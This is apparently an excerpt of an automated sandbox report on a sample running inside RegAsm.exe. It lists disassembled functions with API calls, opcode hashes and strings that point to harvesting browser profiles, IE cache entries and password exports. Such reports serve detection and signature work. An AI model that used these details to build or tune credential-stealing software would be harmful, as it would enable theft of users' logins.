                      • Opcode ID: 5cfdb451540a99f12352c14b787623eda213fcfbf47060a2a7a9031bc80669e4
                      • Instruction ID: 1dd8f84a331a8d1f0195812dc1f06ff326a48265e58e3ad24d859c5fcdf3acb9
                      • Opcode Fuzzy Hash: 5cfdb451540a99f12352c14b787623eda213fcfbf47060a2a7a9031bc80669e4
                      • Instruction Fuzzy Hash: C191C571540219AEEF10EF65DC82EEF776DEF41318F01016AF948B7181EA38ED518BA9
                      Function 00414002 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 265COMMON
                      Download Yara Rule
                      APIs
                      • GetDlgItem.USER32(?,000003E9), ref: 0041402F
                      • GetDlgItem.USER32(?,000003E8), ref: 0041403B
                      • GetWindowLongW.USER32(00000000,000000F0), ref: 0041404A
                      • GetWindowLongW.USER32(?,000000F0), ref: 00414056
                      • GetWindowLongW.USER32(00000000,000000EC), ref: 0041405F
                      • GetWindowLongW.USER32(?,000000EC), ref: 0041406B
                      • GetWindowRect.USER32(00000000,?), ref: 0041407D
                      • GetWindowRect.USER32(?,?), ref: 00414088
                      • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0041409C
                      • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004140AA
                      • GetDC.USER32 ref: 004140E3
                      • wcslen.MSVCRT ref: 00414123
                      • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00414134
                      • ReleaseDC.USER32(?,?), ref: 00414181
                      • _snwprintf.MSVCRT ref: 00414244
                      • SetWindowTextW.USER32(?,?), ref: 00414258
                      • SetWindowTextW.USER32(?,00000000), ref: 00414276
                      • GetDlgItem.USER32(?,00000001), ref: 004142AC
                      • GetWindowRect.USER32(00000000,?), ref: 004142BC
                      • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004142CA
                      • GetClientRect.USER32(?,?), ref: 004142E1
                      • GetWindowRect.USER32(?,?), ref: 004142EB
                      • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00414331
                      • GetClientRect.USER32(?,?), ref: 0041433B
                      • SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00414373
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Release_snwprintfwcslen
                      • String ID: %s:$EDIT$STATIC
                      • API String ID: 2080319088-3046471546
                      • Opcode ID: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                      • Instruction ID: eff71af8639f47ea0b7533f6321954d8b94ad3b67000e3ed03306cc56154d199
                      • Opcode Fuzzy Hash: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                      • Instruction Fuzzy Hash: F8B1DF71108301AFD721DFA9C985E6BBBF9FF88704F004A2DF69582261DB75E9448F16
                      Function 004131DC Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON
                      Download Yara Rule
                      APIs
                      • EndDialog.USER32(?,?), ref: 00413221
                      • GetDlgItem.USER32(?,000003EA), ref: 00413239
                      • SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00413257
                      • SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00413263
                      • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0041326B
                      • memset.MSVCRT ref: 00413292
                      • memset.MSVCRT ref: 004132B4
                      • memset.MSVCRT ref: 004132CD
                      • memset.MSVCRT ref: 004132E1
                      • memset.MSVCRT ref: 004132FB
                      • memset.MSVCRT ref: 00413310
                      • GetCurrentProcess.KERNEL32 ref: 00413318
                      • ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 0041333B
                      • ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 0041336D
                      • memset.MSVCRT ref: 004133C0
                      • GetCurrentProcessId.KERNEL32 ref: 004133CE
                      • memcpy.MSVCRT ref: 004133FC
                      • wcscpy.MSVCRT ref: 0041341F
                      • _snwprintf.MSVCRT ref: 0041348E
                      • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004134A6
                      • GetDlgItem.USER32(?,000003EA), ref: 004134B0
                      • SetFocus.USER32(00000000), ref: 004134B7
                      Strings
                      • Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00413483
                      • {Unknown}, xrefs: 004132A6
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
                      • String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
                      • API String ID: 4111938811-1819279800
                      • Opcode ID: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                      • Instruction ID: fb691a4f2f0ee0f23db40d54bf7b3fb7beca904c55697b54c7815e943e903c38
                      • Opcode Fuzzy Hash: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                      • Instruction Fuzzy Hash: A97182B280021DBFEB219F51DC45EEA3B7CFB08355F0440B6F508A6161DB799E948F69
                      Function 00401198 Relevance: 39.2, APIs: 26, Instructions: 185COMMON
                      Download Yara Rule
                      APIs
                      • GetDlgItem.USER32(?,000003EC), ref: 004011F0
                      • ChildWindowFromPoint.USER32(?,?,?), ref: 00401202
                      • GetDlgItem.USER32(?,000003EE), ref: 00401238
                      • ChildWindowFromPoint.USER32(?,?,?), ref: 00401245
                      • GetDlgItem.USER32(?,000003EC), ref: 00401273
                      • ChildWindowFromPoint.USER32(?,?,?), ref: 00401285
                      • GetModuleHandleW.KERNEL32(00000000,?,?), ref: 0040128E
                      • LoadCursorW.USER32(00000000,00000067), ref: 00401297
                      • SetCursor.USER32(00000000), ref: 0040129E
                      • GetDlgItem.USER32(?,000003EE), ref: 004012BF
                      • ChildWindowFromPoint.USER32(?,?,?), ref: 004012CC
                      • GetDlgItem.USER32(?,000003EC), ref: 004012E6
                      • SetBkMode.GDI32(?,00000001), ref: 004012F2
                      • SetTextColor.GDI32(?,00C00000), ref: 00401300
                      • GetSysColorBrush.USER32(0000000F), ref: 00401308
                      • GetDlgItem.USER32(?,000003EE), ref: 00401329
                      • EndDialog.USER32(?,?), ref: 0040135E
                      • DeleteObject.GDI32(?), ref: 0040136A
                      • GetDlgItem.USER32(?,000003ED), ref: 0040138F
                      • ShowWindow.USER32(00000000), ref: 00401398
                      • GetDlgItem.USER32(?,000003EE), ref: 004013A4
                      • ShowWindow.USER32(00000000), ref: 004013A7
                      • SetDlgItemTextW.USER32(?,000003EE,0045D778), ref: 004013B8
                      • SetWindowTextW.USER32(?,00000000), ref: 004013CA
                      • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004013E2
                      • SetDlgItemTextW.USER32(?,000003EC,?), ref: 004013F3
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
                      • String ID:
                      • API String ID: 829165378-0
                      • Opcode ID: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                      • Instruction ID: caa3714a391556dce09a7e5fb0b25e31ef738818e6d8753142f97b5ec5ee2caf
                      • Opcode Fuzzy Hash: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                      • Instruction Fuzzy Hash: 0051B134500708AFEB32AF61DC85E6E7BB9FB44301F10093AF552A61F1C7B9A991DB19
                      Function 0040414F Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 145COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 00404172
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                      • wcscpy.MSVCRT ref: 004041D6
                      • wcscpy.MSVCRT ref: 004041E7
                      • memset.MSVCRT ref: 00404200
                      • memset.MSVCRT ref: 00404215
                      • _snwprintf.MSVCRT ref: 0040422F
                      • wcscpy.MSVCRT ref: 00404242
                      • memset.MSVCRT ref: 0040426E
                      • memset.MSVCRT ref: 004042CD
                      • memset.MSVCRT ref: 004042E2
                      • _snwprintf.MSVCRT ref: 004042FE
                      • wcscpy.MSVCRT ref: 00404311
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcscpy$_snwprintfwcslen$AttributesFilewcscat
                      • String ID: AE$General$IsRelative$Path$Profile%d$profiles.ini$EA
                      • API String ID: 2454223109-1580313836
                      • Opcode ID: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                      • Instruction ID: 5f54f20862f9259acc4f568515dc65a5c395277ecd0331c6beb9e3a358a2eb32
                      • Opcode Fuzzy Hash: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                      • Instruction Fuzzy Hash: 18512FB294012CBADB20EB55DC45ECFB7BCBF55744F0040E6B50CA2142EA795B84CFAA
                      Function 00411346 Relevance: 31.8, APIs: 13, Strings: 5, Instructions: 263windowregistryclipboardCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040D407: LoadMenuW.USER32(00000000), ref: 0040D40F
                      • SetMenu.USER32(?,00000000), ref: 00411453
                      • SendMessageW.USER32(00000000,00000404,00000001,?), ref: 00411486
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00411495
                      • LoadImageW.USER32(00000000,00000068,00000000,00000000,00000000,00009060), ref: 004114A2
                      • GetModuleHandleW.KERNEL32(00000000), ref: 004114D9
                      • CreateWindowExW.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000,00000000), ref: 00411500
                      • memcpy.MSVCRT ref: 004115C8
                      • ShowWindow.USER32(?,?), ref: 004115FE
                      • GetFileAttributesW.KERNEL32(0045E078), ref: 0041162F
                      • GetTempPathW.KERNEL32(00000104,0045E078), ref: 0041163F
                      • RegisterClipboardFormatW.USER32(commdlg_FindReplace), ref: 0041167A
                      • SendMessageW.USER32(?,00000404,00000002,?), ref: 004116B4
                      • SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 004116C7
                        • Part of subcall function 00404592: wcslen.MSVCRT ref: 004045AF
                        • Part of subcall function 00404592: SendMessageW.USER32(?,00001061,?,?), ref: 004045D3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: MessageSend$HandleLoadMenuModuleWindow$AttributesClipboardCreateFileFormatImagePathRegisterShowTempmemcpywcslen
                      • String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html$xE
                      • API String ID: 4054529287-3175352466
                      • Opcode ID: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                      • Instruction ID: 800f7bfcdfcb1fd3e7c20450dd8eb4425a557a8a4e928c852398501c1500280f
                      • Opcode Fuzzy Hash: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                      • Instruction Fuzzy Hash: CBA1A271640388AFEB11DF69CC89FCA3FA5AF55304F0404B9FE48AF292C6B59548CB65
                      Function 0041019A Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _snwprintf$memset$wcscpy
                      • String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
                      • API String ID: 2000436516-3842416460
                      • Opcode ID: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                      • Instruction ID: 0effb7443b15cd0e53e626898d2c9f551e6481245c02f09bcd1282082c9ffe88
                      • Opcode Fuzzy Hash: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                      • Instruction Fuzzy Hash: C74163B194021D7AEB20EF55DC46EEB73BCFF45304F0440ABB908A2141E7759B988F66
                      Function 004035AD Relevance: 27.1, APIs: 18, Instructions: 93windowCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041083A: memset.MSVCRT ref: 0041087D
                        • Part of subcall function 0041083A: memset.MSVCRT ref: 00410892
                        • Part of subcall function 0041083A: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004108A4
                        • Part of subcall function 0041083A: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 004108C2
                        • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000001,?), ref: 004108FF
                        • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000000,?), ref: 00410936
                        • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 00410951
                        • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00410963
                        • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 0041096E
                        • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00410980
                        • Part of subcall function 0041083A: GetSysColor.USER32(0000000F), ref: 00410999
                      • GetModuleHandleW.KERNEL32(00000000), ref: 004035BF
                      • LoadIconW.USER32(00000000,00000072), ref: 004035CA
                      • GetModuleHandleW.KERNEL32(00000000), ref: 004035DF
                      • LoadIconW.USER32(00000000,00000074), ref: 004035E4
                      • GetModuleHandleW.KERNEL32(00000000), ref: 004035F3
                      • LoadIconW.USER32(00000000,00000073), ref: 004035F8
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00403607
                      • LoadIconW.USER32(00000000,00000075), ref: 0040360C
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0040361B
                      • LoadIconW.USER32(00000000,0000006F), ref: 00403620
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0040362F
                      • LoadIconW.USER32(00000000,00000076), ref: 00403634
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00403643
                      • LoadIconW.USER32(00000000,00000077), ref: 00403648
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00403657
                      • LoadIconW.USER32(00000000,00000070), ref: 0040365C
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0040366B
                      • LoadIconW.USER32(00000000,00000078), ref: 00403670
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleLoadModule$Icon$ImageMessageSendmemset$ColorDirectoryFileInfoWindows
                      • String ID:
                      • API String ID: 1043902810-0
                      • Opcode ID: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                      • Instruction ID: 42406aa8c1b655767e81280a563d2f976f29c17d6cb42a8b032fada3297a07e5
                      • Opcode Fuzzy Hash: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                      • Instruction Fuzzy Hash: B1212EA0B857087AF63137B2DC4BF7B7A5EDF81B89F214410F35C990E0C9E6AC108929
                      Function 0040E2AB Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 165COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                        • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E49A
                        • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                      • memset.MSVCRT ref: 0040E380
                        • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                        • Part of subcall function 0040AA29: memcpy.MSVCRT ref: 0040AA5B
                      • wcschr.MSVCRT ref: 0040E3B8
                      • memcpy.MSVCRT ref: 0040E3EC
                      • memcpy.MSVCRT ref: 0040E407
                      • memcpy.MSVCRT ref: 0040E422
                      • memcpy.MSVCRT ref: 0040E43D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$_wcsicmpmemset$??3@wcschrwcslen
                      • String ID: $AccessCount$AccessedTime$CreationTime$EntryID$ExpiryTime$ModifiedTime$Url
                      • API String ID: 3073804840-2252543386
                      • Opcode ID: f8736963c1e408997af279cfc298981fa7ef611c2197f5f9bddedf84c8b339a3
                      • Instruction ID: 3bb3cf654da2d90f893253d259683e8481abe175d229eeda5eb464894a91a1db
                      • Opcode Fuzzy Hash: f8736963c1e408997af279cfc298981fa7ef611c2197f5f9bddedf84c8b339a3
                      • Instruction Fuzzy Hash: DA512071E00309ABDF10EFA6DC45B9EB7B8AF54305F15443BA904F7291E678AA14CB58
                      Function 004447D9 Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 139COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@??3@_snwprintfwcscpy
                      • String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
                      • API String ID: 2899246560-1542517562
                      • Opcode ID: 79e099bb23a1393a239ae01641405c8b767ccdf12231d4bb76dd8066c9d8bd92
                      • Instruction ID: ddb1140ba30d93f946c39142265044aeba6ebe712c4753dd77c76fa61262b17a
                      • Opcode Fuzzy Hash: 79e099bb23a1393a239ae01641405c8b767ccdf12231d4bb76dd8066c9d8bd92
                      • Instruction Fuzzy Hash: 434127B2900218BAD704EFA1DC82DDEB7BCBF49305B110167BD05B3152DB78A655CBE8
                      Function 004091B8 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 272COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$memcmp$ByteCharMultiWidememset
                      • String ID:
                      • API String ID: 3715365532-3916222277
                      • Opcode ID: f920f79086ebd03163bb660580745ba542768fbf6859bbba0dc8aac637b41020
                      • Instruction ID: d5c0d9b4f94ac501fd0f2fb5594fd033b2d13f4c98b4255323c8c53c7695c3f7
                      • Opcode Fuzzy Hash: f920f79086ebd03163bb660580745ba542768fbf6859bbba0dc8aac637b41020
                      • Instruction Fuzzy Hash: DDA1BA71900605ABDB21EF65D885BAFB7BCAF44304F01043FF945E6282EB78EA458B59
                      Function 00408560 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 182stringCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetFileSize.KERNEL32(00000000,00000000,?,00000001,00000000,?,004089ED,?,?,?,0000001E,?,?,00000104), ref: 00408589
                      • ??2@YAPAXI@Z.MSVCRT ref: 0040859D
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      • memset.MSVCRT ref: 004085CF
                      • memset.MSVCRT ref: 004085F1
                      • memset.MSVCRT ref: 00408606
                      • strcmp.MSVCRT ref: 00408645
                      • _mbscpy.MSVCRT ref: 004086DB
                      • _mbscpy.MSVCRT ref: 004086FA
                      • memset.MSVCRT ref: 0040870E
                      • strcmp.MSVCRT ref: 0040876B
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040879D
                      • CloseHandle.KERNEL32(?), ref: 004087A6
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$File$_mbscpystrcmp$??2@??3@CloseCreateHandleReadSize
                      • String ID: ---
                      • API String ID: 3437578500-2854292027
                      • Opcode ID: deb32149b504d539516d0f42eccfd95bc3c0c038ac4760bb164b185877a325eb
                      • Instruction ID: 4c5fbc017ddd4a43d5b0f69e9578b2b0908928dff5e121bfcb53d45818d158f6
                      • Opcode Fuzzy Hash: deb32149b504d539516d0f42eccfd95bc3c0c038ac4760bb164b185877a325eb
                      • Instruction Fuzzy Hash: 256191B2C0421DAADF20DB948D819DEBBBCAB15314F1140FFE558B3141DA399BC4CBA9
                      Function 0041083A Relevance: 21.1, APIs: 14, Instructions: 137windowCOMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0041087D
                      • memset.MSVCRT ref: 00410892
                      • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004108A4
                      • SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 004108C2
                      • SendMessageW.USER32(?,00001003,00000001,?), ref: 004108FF
                      • SendMessageW.USER32(?,00001003,00000000,?), ref: 00410936
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00410951
                      • LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00410963
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0041096E
                      • LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00410980
                      • GetSysColor.USER32(0000000F), ref: 00410999
                      • DeleteObject.GDI32(?), ref: 004109D0
                      • DeleteObject.GDI32(?), ref: 004109D6
                      • SendMessageW.USER32(00000000,00001208,00000000,?), ref: 004109F3
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: MessageSend$DeleteHandleImageLoadModuleObjectmemset$ColorDirectoryFileInfoWindows
                      • String ID:
                      • API String ID: 1010922700-0
                      • Opcode ID: 9f32c972fd3bed260489b92fc8884ca82be835491797332215144efe3993187c
                      • Instruction ID: e9b684d61d60cc1afb152275eb3c8de820581b68aaecd99ee02cab8be193ddee
                      • Opcode Fuzzy Hash: 9f32c972fd3bed260489b92fc8884ca82be835491797332215144efe3993187c
                      • Instruction Fuzzy Hash: 48418575640304BFF720AF61DC8AF97779CFB09744F000829F399A51E1D6F6A8909B29
                      Function 00418680 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                      • GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                      • malloc.MSVCRT ref: 004186B7
                      • ??3@YAXPAX@Z.MSVCRT ref: 004186C7
                      • GetFullPathNameW.KERNEL32(00000000,-00000003,00000000,00000000), ref: 004186DB
                      • ??3@YAXPAX@Z.MSVCRT ref: 004186E0
                      • GetFullPathNameA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186F6
                      • malloc.MSVCRT ref: 004186FE
                      • GetFullPathNameA.KERNEL32(00000000,-00000003,00000000,00000000), ref: 00418711
                      • ??3@YAXPAX@Z.MSVCRT ref: 00418716
                      • ??3@YAXPAX@Z.MSVCRT ref: 0041872A
                      • ??3@YAXPAX@Z.MSVCRT ref: 00418749
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$FullNamePath$malloc$Version
                      • String ID: |A
                      • API String ID: 4233704886-1717621600
                      • Opcode ID: 7e01f0dee03851588a79a4a26fa611e8dffd0452dbc09a85c2cc2e741f239264
                      • Instruction ID: f8a1ad7f3386c3a0ca67e8408a701755caa4d882ef8d2f884b3bc60851bd4b4d
                      • Opcode Fuzzy Hash: 7e01f0dee03851588a79a4a26fa611e8dffd0452dbc09a85c2cc2e741f239264
                      • Instruction Fuzzy Hash: F5217432900118BFEF11BFA6DC46CDFBB79DF41368B22006FF804A2161DA799E91995D
                      Function 004125F8 Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 70COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmp
                      • String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
                      • API String ID: 2081463915-1959339147
                      • Opcode ID: 28c2ebe8ae336333f434d0f7201133c37a7c95e7bcc6e3a748ef2c38aa05b661
                      • Instruction ID: 8733bd8b557f913067c5021fbfe18d0583d9fd94efe92a6f612d034962822ca0
                      • Opcode Fuzzy Hash: 28c2ebe8ae336333f434d0f7201133c37a7c95e7bcc6e3a748ef2c38aa05b661
                      • Instruction Fuzzy Hash: A401843328931228FA2538663D07F834F48CB52BBBF32405BF800D81C6FE8C4565605E
                      Function 00412172 Relevance: 19.7, APIs: 13, Instructions: 189windowCOMMON
                      Download Yara Rule
                      APIs
                      • GetDC.USER32(00000000), ref: 004121FF
                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041220A
                      • ReleaseDC.USER32(00000000,00000000), ref: 0041221F
                      • SetBkMode.GDI32(?,00000001), ref: 00412232
                      • SetTextColor.GDI32(?,00FF0000), ref: 00412240
                      • SelectObject.GDI32(?,?), ref: 00412251
                      • DrawTextExW.USER32(?,?,000000FF,?,00000024,?), ref: 00412285
                      • SelectObject.GDI32(00000014,00000005), ref: 00412291
                        • Part of subcall function 00411FC6: GetCursorPos.USER32(?), ref: 00411FD0
                        • Part of subcall function 00411FC6: GetSubMenu.USER32(?,00000000), ref: 00411FDE
                        • Part of subcall function 00411FC6: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0041200F
                      • GetModuleHandleW.KERNEL32(00000000), ref: 004122AC
                      • LoadCursorW.USER32(00000000,00000067), ref: 004122B5
                      • SetCursor.USER32(00000000), ref: 004122BC
                      • PostMessageW.USER32(?,00000428,00000000,00000000), ref: 00412304
                      • memcpy.MSVCRT ref: 0041234D
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Cursor$MenuObjectSelectText$CapsColorDeviceDrawHandleLoadMessageModeModulePopupPostReleaseTrackmemcpy
                      • String ID:
                      • API String ID: 1700100422-0
                      • Opcode ID: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                      • Instruction ID: eb413d4c014922f01c1be241ee45634b3e5b5e29cfe5fc1015c733cb557b7a75
                      • Opcode Fuzzy Hash: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                      • Instruction Fuzzy Hash: 0F61D331600109AFDB149F74CE89BEA77A5BB45300F10052AFA25D7291DBBC9CB1DB59
